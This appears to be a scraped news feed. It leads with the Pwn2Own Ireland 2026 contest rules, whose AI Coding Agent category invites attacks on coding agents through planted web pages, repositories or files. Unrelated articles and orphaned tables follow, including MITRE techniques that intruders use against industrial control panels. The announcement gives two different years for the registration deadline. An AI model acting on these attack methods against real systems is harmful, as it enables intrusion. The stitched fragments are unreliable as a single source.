As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.
Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.
Now on to this year’s target categories. We’ll have seven different categories for this year’s event:





















  
  




-- Mobile Phones
--	Smart Home Devices
-- Wellness
-- Printers
--	Messaging
-- AI Infrastructure
-- AI Coding Agents  




  Let’s take a look at each category in more detail, starting with mobile phones.





















  
  



 




  The Target Phones
Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.
Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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Smart Home Devices




  As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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Wellness Category




  This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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Rage Against the Printers 




  Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. 





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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The Messaging Category




  We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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AI Infrastructure Category




  We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  



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AI Coding Agent Category




  Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                

            
          
        
          
        

        
      
        
      

    
  


  


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  Master of Pwn
No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).
For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.
The Complete Details
The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.
Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.
The Results
We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage. 
We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.
 
©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.


Why Do Some Proxies Work Fine for Search But Fail Once You Start Filtering Results?
Tue, 21 Jul 2026 19:44:54 +0200
Automated web scraping, market intelligence data gathering, and large-scale search engine extraction platforms frequently hit an invisible wall. A collection of proxy IPs might execute initial search queries flawlessly, yielding a standard 200 OK status code and complete HTML payloads.…
Read more →
The post Why Do Some Proxies Work Fine for Search But Fail Once You Start Filtering Results? appeared first on IT Security News.


Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI
Tue, 21 Jul 2026 19:06:29 +0200
Presented by Atlassian 
Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.
Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.
"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.
Why AI speed isn’t translating into ROI
Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.
"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.
But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.
Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.
On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. 
On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.
How leaders can move AI from individual hack to team advantage
Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.
"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.
Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.
To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.
The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.
Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.


Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation
Tue, 21 Jul 2026 17:59:51 +0200
Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere.



The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters.



Ricky Gervais Wanted to Change How Animated Shows Are Made



According to Gervais, the biggest difference with Alley Cats came before the animation even started.



Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise.



Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic.



He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them.



Improvisation Created Some Wild Moments



That recording style led to plenty of unexpected comedy.



Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series.



Those sessions helped create conversations that sound less scripted and more like friends talking naturally.



A Cast Built Around British Comedy



Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before.



Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais.



Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him.



Comedy With Genuine Emotion



Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work.



One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series.



Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces.



Music and Release Date



The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity.



Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.


TerraByte takes its geospatial tracking service to the next level with help from SkyFi and AI
Tue, 21 Jul 2026 17:33:22 +0200

Startup upgrades 'Earth Search Engine' to open new paths to high-resolution satellite imagery and data-driven insights. Read More


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Wazuh v5.0.0 Beta 4
Tue, 21 Jul 2026 14:50:03 +0200
What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination WARNINGs on stop/unavailable module by @lchico in #37372
Clarify security policy for pre-release versions and disclosure timeline by @vikman90 in #37423
Bump 5.0.0 branch by @wazuhci in #37429
wazuh-manager: Memory and copy-reduction improvements part 1 by @matigarciadev in #36979
Improve default cores detection by @LucioDonda in #37288
Standardize and verify Wazuh configuration documentation  by @TomasTurina in #37411
Handle rootcheck removed tags by @rovogel in #37346
Update docs (agent) for the new password in manager by @Miguevrgo in #37420
Backport the workflow for generating pre-release agent issues to version 5.0.0 by @MarcelKemp in #37490
Upgrade 5.0.0 python dependencies by @jepalfer in #37361
Change indexer user name and password by @TomasTurina in #37502
Remove startup deprecation warning from cluster_control and agent_upgrade by @vikman90 in #37509
Change indexer username and password to wazuh-manager by @TomasTurina in #37520
Fix to improve fim_sync db performance. by @hernanvalenzuela in #37180
SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by @jr0me in #37353
Fix version comparison in indexer documents updates by @TomasTurina in #37498
Propagate sync errors to each module by @jpcerrone in #37212
Cache indexer credentials in clusterd by @TomasTurina in #37504
Standardize CHANGELOG format and keep prior versions in the bumper by @jotacarma90 in #37513
Warn on duplicate agent connection only when it persists by @jotacarma90 in #37493
Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by @anromerom in #37567
Add retry logic to indexer templates download by @TomasTurina in #37643
Reduce authd enrollment log severity for expected rejections by @jotacarma90 in #37540
Reduce memory usage when downloading VDP feed by @Antoniogm03 in #37375
Fix server-side version bump for disconnected agent metadata updates by @TomasTurina in #37647
Re-enable AWS Inspector integration tests in 5.0.0 by @MAnDumu in #37645
Fix sca internal limits by @rovogel in #37438
Silence untrustworthy FIM schema-validation errors during shutdown by @Nicogp in #37688
Fix spurious ERROR/WARNING logs during agent shutdown by @Nicogp in #37673
Fix daemon stats for analysisd by @NahuFigueroa97 in #37525
Resolve logging macro collisions and improve LogFn design (#37354) by @jotacarma90 in #37393
Enable authd in manager source-install integration test step by @jotacarma90 in #37693
Stop verify-agent-conf from falsely warning on agent-only wodle blocks, without breaking their validation by @vikman90 in #37680
Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by @hossam1522 in #35405
Lower connection socket error log to debug level in wazuh-agentd by @MAnDumu in #37685
Memory improvements part 2 by @NahuFigueroa97 in #37433
Fix make clean-deps failing when src/external is missing by @vikman90 in #37724
fix date schema validation error in scheduled metrics by @LucioDonda in #37703
Report failure when block-ip fails to block an IP by @lchico in #37439
Fix rename race on logcollector file status during shutdown by @Miguevrgo in #37695
Calibrate log levels in router and vulnerability_scanner by @jotacarma90 in #37731
Adds AR Windows binary extension fallback by @rjcausarano in #37496
Lower httpsrv C++ standard from 20 to 17 by @jotacarma90 in #37751
Add new indexer API roles mapping by @jepalfer in #37746
Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by @nbertoldo in #37430
Free rpm macro context to stop unbounded growth by @Nicogp in #37758
Report modulesSync failure as debug during agent shutdown by @anromerom in #37689
Report manager-not-ready sync failures as deferred by @anromerom in #37720
wazuh-engine: Indexer connector exponential backoff by @matigarciadev in #37756
Fix issue reference in the daemons stats changelog entry by @jotacarma90 in #37827

Full Changelog: v5.0.0-beta3...v5.0.0-beta4

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

CVE	CVSS	Description	Affected Products	Exploitation Status
CVE-2026-16232	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Authentication bypass via SmartConsole application token	Security Management, Multi-Domain Management	Exploited in the wild
CVE-2026-62144	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Management authentication bypass and privilege escalation	Security Management, Multi-Domain Management	No known exploitation
CVE-2026-62145	7.5 (High)	Local privilege escalation in GaiaOS WebUI	Firewall, Multi-Domain Management, Multi-Domain Log Server	No known exploitation

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.4%	[0.2%, 1.0%]	40
Regressions ❌ (secondary)	0.7%	[0.2%, 4.6%]	69
Improvements ✅ (primary)	-2.0%	[-6.2%, -0.2%]	136
Improvements ✅ (secondary)	-2.6%	[-8.4%, -0.2%]	119
All ❌✅ (primary)	-1.4%	[-6.2%, 1.0%]	176

Platform	File
Windows installer	`OnionHop-Setup-v3.exe`
Windows portable	`OnionHopV3-Portable-3.7-win-x64.zip`
Windows CLI	`OnionHop-CLI-Setup-3.7.exe` / `OnionHopCLI-Portable-3.7-win-x64.zip`
Linux	`OnionHop-x86_64.AppImage`
Linux CLI	`OnionHopCLI-3.7-linux-x64.tar.gz`
macOS (Apple Silicon)	`OnionHop-3.7-macOS-arm64.dmg`
macOS (Intel)	`OnionHop-3.7-macOS-x64.dmg`
macOS CLI (Apple Silicon)	`OnionHopCLI-3.7-macos-arm64.tar.gz`
macOS CLI (Intel)	`OnionHopCLI-3.7-macos-x64.tar.gz`

Model	Input ($/1M)	Output ($/1M)	Total ($/1M)	Source
MiMo-V2.5 Flash	$0.10	$0.30	$0.40	Xiaomi
deepseek-v4-flash	$0.14	$0.28	$0.42	DeepSeek
deepseek-v4-pro	$0.435	$0.87	$1.305	DeepSeek
MiniMax-M3	$0.30	$1.20	$1.50	MiniMax
LongCat-2.0 — limited-time promo	$0.30	$1.20	$1.50	LongCat
Gemini 3.1 Flash-Lite	$0.25	$1.50	$1.75	Google
Qwen3.7-Plus	$0.40	$1.60	$2.00	Alibaba Cloud
MiMo-V2.5	$0.40	$2.00	$2.40	Xiaomi
Gemini 3.5 Flash-Lite	$0.30	$2.50	$2.80	Google
LongCat-2.0 — standard	$0.75	$2.95	$3.70	LongCat
MiMo-V2.5 Pro (≤256K)	$1.00	$3.00	$4.00	Xiaomi
GLM-5.2	$1.40	$4.40	$5.80	Z.ai
GPT-5.6 Luna	$1.00	$6.00	$7.00	OpenAI
Grok 4.5	$2.00	$6.00	$8.00	xAI
MiMo-V2.5 Pro (>256K)	$2.00	$6.00	$8.00	Xiaomi
Gemini 3.6 Flash	$1.50	$7.50	$9.00	Google
Qwen3.7-Max	$2.50	$7.50	$10.00	Alibaba Cloud
Gemini 3.5 Flash	$1.50	$9.00	$10.50	Google
Gemini 3.1 Pro Preview (≤200K)	$2.00	$12.00	$14.00	Google
GPT-5.6 Terra	$2.50	$15.00	$17.50	OpenAI
GPT-5.4	$2.50	$15.00	$17.50	OpenAI
Kimi K3	$3.00	$15.00	$18.00	Moonshot AI
Gemini 3.1 Pro Preview (>200K)	$4.00	$18.00	$22.00	Google
Claude Opus 4.8	$5.00	$25.00	$30.00	Anthropic
GPT-5.5	$5.00	$30.00	$35.00	OpenAI
GPT-5.5 Instant (chat-latest)	$5.00	$30.00	$35.00	OpenAI
Sakana Fugu Ultra (≤272K)	$5.00	$30.00	$35.00	Sakana AI
GPT-5.6 Sol	$5.00	$30.00	$35.00	OpenAI
Claude Fable 5 / Claude Mythos 5	$10.00	$50.00	$60.00	Anthropic

Date	Revision	Summary
2026-07-14	1	Publication Date
2026-07-21	2	Initial CISA Republication of Siemens ProductCERT SSA-288252 advisory

CVSS Version	Base Score	Base Severity	Vector String
3.1	6.7	MEDIUM	CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
4.0	5.4	MEDIUM	CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
4.0	7.3	HIGH	CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H